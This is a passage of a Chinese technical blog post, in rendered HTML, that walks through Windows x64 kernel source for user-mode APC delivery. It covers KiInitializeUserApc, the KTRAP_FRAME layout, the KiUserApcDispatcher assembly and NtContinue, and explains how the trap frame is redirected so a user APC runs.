&amp;LockHandle);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// If the user APC queue is now empty because of the removal of</span></span><br><span class="line">    <span class="comment">// one or more entries, then release the APC lock and exit.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    Thread-&gt;ApcState.UserApcPending = FALSE;</span><br><span class="line">    NextEntry = Thread-&gt;ApcState.ApcListHead[UserMode].Flink;</span><br><span class="line">    <span class="keyword">if</span> (NextEntry == &amp;Thread-&gt;ApcState.ApcListHead[UserMode]) &#123;</span><br><span class="line">        <span class="built_in">KeReleaseInStackQueuedSpinLock</span>(&amp;LockHandle);</span><br><span class="line">        <span class="keyword">goto</span> CheckProcess;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    Apc = <span class="built_in">CONTAINING_RECORD</span>(NextEntry, KAPC, ApcListEntry);</span><br><span class="line">    <span class="built_in">ReadForWriteAccess</span>(Apc);</span><br><span class="line">    KernelRoutine = Apc-&gt;KernelRoutine;</span><br><span class="line">    NormalRoutine = Apc-&gt;NormalRoutine;</span><br><span class="line">    NormalContext = Apc-&gt;NormalContext;</span><br><span class="line">    SystemArgument1 = Apc-&gt;SystemArgument1;</span><br><span class="line">    SystemArgument2 = Apc-&gt;SystemArgument2;</span><br><span class="line">    <span class="built_in">RemoveEntryList</span>(NextEntry);</span><br><span class="line">    Apc-&gt;Inserted = FALSE;</span><br><span class="line">    <span class="built_in">KeReleaseInStackQueuedSpinLock</span>(&amp;LockHandle);</span><br><span class="line">    (KernelRoutine)(Apc,</span><br><span class="line">                    &amp;NormalRoutine,</span><br><span class="line">                    &amp;NormalContext,</span><br><span class="line">                    &amp;SystemArgument1,</span><br><span class="line">                    &amp;SystemArgument2);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (NormalRoutine == (PKNORMAL_ROUTINE)<span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">KeTestAlertThread</span>(UserMode);</span><br><span class="line">    </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="built_in">KiInitializeUserApc</span>(ExceptionFrame,</span><br><span class="line">                            TrapFrame,</span><br><span class="line">                            NormalRoutine,</span><br><span class="line">                            NormalContext,</span><br><span class="line">                            SystemArgument1,</span><br><span class="line">                            SystemArgument2);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>与内核态apc调用最大的不同在于，用户态的apc调用没有用一个大大的<code>while</code>循环包括，这意味着<strong>仅仅只有一个用户态Apc会在这个时候被调用</strong>。用户态APC调用和内核态APC中的NormalRoutine调用差不多，也要检查以下条件</p><ul><li>UserMode下的Apc队列不为空</li><li>UserApcPending不为FALSE，即是当前有用户态APC正在挂起等待</li></ul><p>之后也如Kernel mode一样，调用KernelRoutine，并且检查NermalRoutine是否为空，如果为空的话<strong>将当前线程设置为alertable状态，其实也就是将UserApcPending设置为TRUE</strong>（也就是前文提到过的，处于这个状态下的线程才会触发APC），如果不为空，这调用<code>KiInitilizeUserApc</code>函数。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID</span></span><br><span class="line"><span class="function"><span class="title">KiInitializeUserApc</span> <span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKEXCEPTION_FRAME ExceptionFrame,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKTRAP_FRAME TrapFrame,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKNORMAL_ROUTINE NormalRoutine,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PVOID NormalContext,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PVOID SystemArgument1,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PVOID SystemArgument2</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">    PCONTEXT ContextRecord;</span><br><span class="line">    EXCEPTION_RECORD ExceptionRecord;</span><br><span class="line">    PMACHINE_FRAME MachineFrame;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Transfer the context information to the user stack, initialize the</span></span><br><span class="line">    <span class="comment">// APC routine parameters, and modify the trap frame so execution will</span></span><br><span class="line">    <span class="comment">// continue in user mode at the user mode APC dispatch routine.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// If the exception frame address is NULL, then the context copy</span></span><br><span class="line">        <span class="comment">// has been bypassed and the context is already on the user stack.</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (ExceptionFrame == <span class="literal">NULL</span>) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// The address of the already copied context record and the real</span></span><br><span class="line">            <span class="comment">// exception frame address are passed via unused fields in the</span></span><br><span class="line">            <span class="comment">// trap frame.</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// N.B. The context record has been probed for write access.</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">            ContextRecord = (PCONTEXT)TrapFrame-&gt;ContextRecord;</span><br><span class="line">            ExceptionFrame = (PKEXCEPTION_FRAME)TrapFrame-&gt;ExceptionFrame;</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// Compute address of aligned machine frame, compute address of</span></span><br><span class="line">            <span class="comment">// context record, and probe user stack for writeability.</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 这个结构存放了自陷框架中的临时存放的rip/rsp    </span></span><br><span class="line">            MachineFrame =</span><br><span class="line">                (PMACHINE_FRAME)((TrapFrame-&gt;Rsp - <span class="built_in">sizeof</span>(MACHINE_FRAME)) &amp; ~STACK_ROUND);</span><br><span class="line">    </span><br><span class="line">            ContextRecord = (PCONTEXT)((ULONG64)MachineFrame - <span class="built_in">sizeof</span>(CONTEXT));</span><br><span class="line">            <span class="built_in">ProbeForWriteSmallStructure</span>(ContextRecord,</span><br><span class="line">                                        <span class="built_in">sizeof</span>(MACHINE_FRAME) + CONTEXT_LENGTH,</span><br><span class="line">                                        STACK_ALIGN);</span><br><span class="line">    </span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// Move machine state from trap and exception frames to the context</span></span><br><span class="line">            <span class="comment">// record on the user stack.</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">    </span><br><span class="line">            ContextRecord-&gt;ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;</span><br><span class="line">            <span class="built_in">KeContextFromKframes</span>(TrapFrame, ExceptionFrame, ContextRecord);         <span class="comment">// 此处将当前的Frame存放在了Context位置上</span></span><br><span class="line"></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// Fill in machine frame information.</span></span><br><span class="line">            <span class="comment">// 此时的MachineFrame存放的是用户空间的上下文</span></span><br><span class="line">    </span><br><span class="line">            MachineFrame-&gt;Rsp = ContextRecord-&gt;Rsp;</span><br><span class="line">            MachineFrame-&gt;Rip = ContextRecord-&gt;Rip;</span><br><span class="line">        &#125; </span><br><span class="line"></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Initialize the user APC parameters.</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        ContextRecord-&gt;P1Home = (ULONG64)NormalContext;</span><br><span class="line">        ContextRecord-&gt;P2Home = (ULONG64)SystemArgument1;</span><br><span class="line">        ContextRecord-&gt;P3Home = (ULONG64)SystemArgument2;</span><br><span class="line">        ContextRecord-&gt;P4Home = (ULONG64)NormalRoutine;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Set the address new stack pointer in the current trap frame and</span></span><br><span class="line">        <span class="comment">// the continuation address so control will be transferred to the user</span></span><br><span class="line">        <span class="comment">// APC dispatcher.</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        TrapFrame-&gt;Rsp = (ULONG64)ContextRecord;</span><br><span class="line">        TrapFrame-&gt;Rip = (ULONG64)KeUserApcDispatcher;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="built_in">except</span> (<span class="built_in">KiCopyInformation</span>(&amp;ExceptionRecord,</span><br><span class="line">                                (<span class="built_in">GetExceptionInformation</span>())-&gt;ExceptionRecord)) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Lower the IRQL to PASSIVE_LEVEL, set the exception address to</span></span><br><span class="line">        <span class="comment">// the current program address, and raise an exception by calling</span></span><br><span class="line">        <span class="comment">// the exception dispatcher.</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// N.B. The IRQL is lowered to PASSIVE_LEVEL to allow APC interrupts</span></span><br><span class="line">        <span class="comment">//      during the dispatching of the exception. The current thread</span></span><br><span class="line">        <span class="comment">//      will be terminated during the dispatching of the exception,</span></span><br><span class="line">        <span class="comment">//      but lowering of the IRQL is required to enable the debugger</span></span><br><span class="line">        <span class="comment">//      to obtain the context of the current thread.</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        <span class="built_in">KeLowerIrql</span>(PASSIVE_LEVEL);</span><br><span class="line">        ExceptionRecord.ExceptionAddress = (PVOID)(TrapFrame-&gt;Rip);</span><br><span class="line">        <span class="built_in">KiDispatchException</span>(&amp;ExceptionRecord,</span><br><span class="line">                            ExceptionFrame,</span><br><span class="line">                            TrapFrame,</span><br><span class="line">                            UserMode,</span><br><span class="line">                            TRUE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据当前的<code>ContextRecord</code>，这个函数会决定当前的<code>TrapFrame</code>中的<code>ContextRecord</code>存放的内容。</p><p>这里会看到，函数最后会回到<code>_KiServiceExit</code>。此处并没有修改返回值，为什么呢？关键就在这个<code>TrapFrame</code>结构体里面。</p><h4 id="trapframe">TrapFrame</h4><p>这个结构体是Windows系统调用的一个重要的结构体，这个结构体会依据当前进入内核的原因，可以分别成为<code>异常，中断和自陷</code>，也就是<strong>异常处理，cpu中断，系统调用</strong>这些过程中会触发，这个结构整体是<code>PKTRAP_FRAME</code>。结构体中存储了进入内核前，用户态下的所有寄存器（即当前的执行的上下文）。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_KTRAP_FRAME</span> &#123;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Home address for the parameter registers.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    ULONG64 P1Home;</span><br><span class="line">    ULONG64 P2Home;</span><br><span class="line">    ULONG64 P3Home;</span><br><span class="line">    ULONG64 P4Home;</span><br><span class="line">    ULONG64 P5;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Previous processor mode (system services only) and previous IRQL</span></span><br><span class="line"><span class="comment">// (interrupts only).</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    KPROCESSOR_MODE PreviousMode;</span><br><span class="line">    KIRQL PreviousIrql;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Page fault load/store indicator.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    UCHAR FaultIndicator;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Exception active indicator.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//    0 - interrupt frame.</span></span><br><span class="line"><span class="comment">//    1 - exception frame.</span></span><br><span class="line"><span class="comment">//    2 - service frame.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    UCHAR ExceptionActive;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Floating point state.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    ULONG MxCsr;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  Volatile registers.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// N.B. These registers are only saved on exceptions and interrupts. They</span></span><br><span class="line"><span class="comment">//      are not saved for system calls.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    ULONG64 Rax;</span><br><span class="line">    ULONG64 Rcx;</span><br><span class="line">    ULONG64 Rdx;</span><br><span class="line">    ULONG64 R8;</span><br><span class="line">    ULONG64 R9;</span><br><span class="line">    ULONG64 R10;</span><br><span class="line">    ULONG64 R11;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Gsbase is only used if the previous mode was kernel.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// GsSwap is only used if the previous mode was user.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">union</span> &#123;</span><br><span class="line">        ULONG64 GsBase;</span><br><span class="line">        ULONG64 GsSwap;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Volatile floating registers.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// N.B. These registers are only saved on exceptions and interrupts. They</span></span><br><span class="line"><span class="comment">//      are not saved for system calls.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    M128A Xmm0;</span><br><span class="line">    M128A Xmm1;</span><br><span class="line">    M128A Xmm2;</span><br><span class="line">    M128A Xmm3;</span><br><span class="line">    M128A Xmm4;</span><br><span class="line">    M128A Xmm5;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Page fault address or context record address if user APC bypass.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">union</span> &#123;</span><br><span class="line">        ULONG64 FaultAddress;</span><br><span class="line">        ULONG64 ContextRecord;</span><br><span class="line">        ULONG64 TimeStamp;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  Debug registers.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    ULONG64 Dr0;</span><br><span class="line">    ULONG64 Dr1;</span><br><span class="line">    ULONG64 Dr2;</span><br><span class="line">    ULONG64 Dr3;</span><br><span class="line">    ULONG64 Dr6;</span><br><span class="line">    ULONG64 Dr7;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Special debug registers.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// N.B. Either AMD64 or EM64T information is stored in the following locations.</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">union</span> &#123;</span><br><span class="line">        <span class="keyword">struct</span> &#123;</span><br><span class="line">            ULONG64 DebugControl;</span><br><span class="line">            ULONG64 LastBranchToRip;</span><br><span class="line">            ULONG64 LastBranchFromRip;</span><br><span class="line">            ULONG64 LastExceptionToRip;</span><br><span class="line">            ULONG64 LastExceptionFromRip;</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">struct</span> &#123;</span><br><span class="line">            ULONG64 LastBranchControl;</span><br><span class="line">            ULONG LastBranchMSR;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//  Segment registers</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    USHORT SegDs;</span><br><span class="line">    USHORT SegEs;</span><br><span class="line">    USHORT SegFs;</span><br><span class="line">    USHORT SegGs;</span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Previous trap frame address.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line">    ULONG64 TrapFrame;</span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Saved nonvolatile registers RBX, RDI and RSI. These registers are only</span></span><br><span class="line"><span class="comment">// saved in system service trap frames.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line">    ULONG64 Rbx;</span><br><span class="line">    ULONG64 Rdi;</span><br><span class="line">    ULONG64 Rsi;</span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Saved nonvolatile register RBP. This register is used as a frame</span></span><br><span class="line"><span class="comment">// pointer during trap processing and is saved in all trap frames.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line">    ULONG64 Rbp;</span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Information pushed by hardware.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// N.B. The error code is not always pushed by hardware. For those cases</span></span><br><span class="line"><span class="comment">//      where it is not pushed by hardware a dummy error code is allocated</span></span><br><span class="line"><span class="comment">//      on the stack.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line">    <span class="keyword">union</span> &#123;</span><br><span class="line">        ULONG64 ErrorCode;</span><br><span class="line">        ULONG64 ExceptionFrame;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    ULONG64 Rip;</span><br><span class="line">    USHORT SegCs;</span><br><span class="line">    USHORT Fill1[<span class="number">3</span>];</span><br><span class="line">    ULONG EFlags;</span><br><span class="line">    ULONG Fill2;</span><br><span class="line">    ULONG64 Rsp;</span><br><span class="line">    USHORT SegSs;</span><br><span class="line">    USHORT Fill3[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Copy of the global patch cycle at the time of the fault. Filled in by the</span></span><br><span class="line"><span class="comment">// invalid opcode and general protection fault routines.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line">    LONG CodePatchCycle;</span><br><span class="line">&#125; KTRAP_FRAME, *PKTRAP_FRAME;</span><br></pre></td></tr></table></figure><p>当完成了<code>KeDeliverAPC</code>之后，整个<code>_Ki </code>就会结束，此时就会离开系统调用来到用户态。正常情况下<code>TrapFrame-&gt;Rip</code>会指向原先的地址地址，而此时却被修改成了<code>KeUserApcDispatcher</code>，因而此时的<strong>用户态APC获得了执行机会</strong></p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*函数原型摘自ReactOS*/</span></span><br><span class="line">PUBLIC KiUserApcDispatcher</span><br><span class="line">.PROC KiUserApcDispatcher</span><br><span class="line">    .endprolog</span><br><span class="line">    <span class="comment">/* We enter with a 16 byte aligned stack */</span></span><br><span class="line"></span><br><span class="line">    mov rcx, [rsp + CONTEXT_P1Home] <span class="comment">/* NormalContext */</span></span><br><span class="line">    mov rdx, [rsp + CONTEXT_P2Home] <span class="comment">/* SystemArgument1 */</span></span><br><span class="line">    mov r8, [rsp + CONTEXT_P3Home]  <span class="comment">/* SystemArgument2 */</span></span><br><span class="line">    lea r9, [rsp]                   <span class="comment">/* Context */</span></span><br><span class="line">    call qword ptr [rsp + CONTEXT_P4Home] <span class="comment">/* NormalRoutine */</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* NtContinue(Context, TRUE); */</span></span><br><span class="line">    lea rcx, [rsp]</span><br><span class="line">    mov dl, <span class="number">1</span></span><br><span class="line">    call NtContinue</span><br><span class="line"></span><br><span class="line">    nop</span><br><span class="line">    <span class="type">int</span> <span class="number">3</span></span><br><span class="line">.ENDP</span><br></pre></td></tr></table></figure><p>这个地方翻译一下，就是调用了</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">NormalRoutine</span>(NromalContext, SystemArgument1, SystemArgument2, Context );</span><br></pre></td></tr></table></figure><h4 id="apc调用循环与最终退出">Apc调用循环与最终退出</h4><p>通过修改<code>TrapFrame</code>的方式，巧妙的让内核调用返回用户态的时候进入了用户态Apc的分发函数。在函数调用结束的时候，会来到一个叫做<code>NtContinue</code>的函数上，这个函数的内容如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span 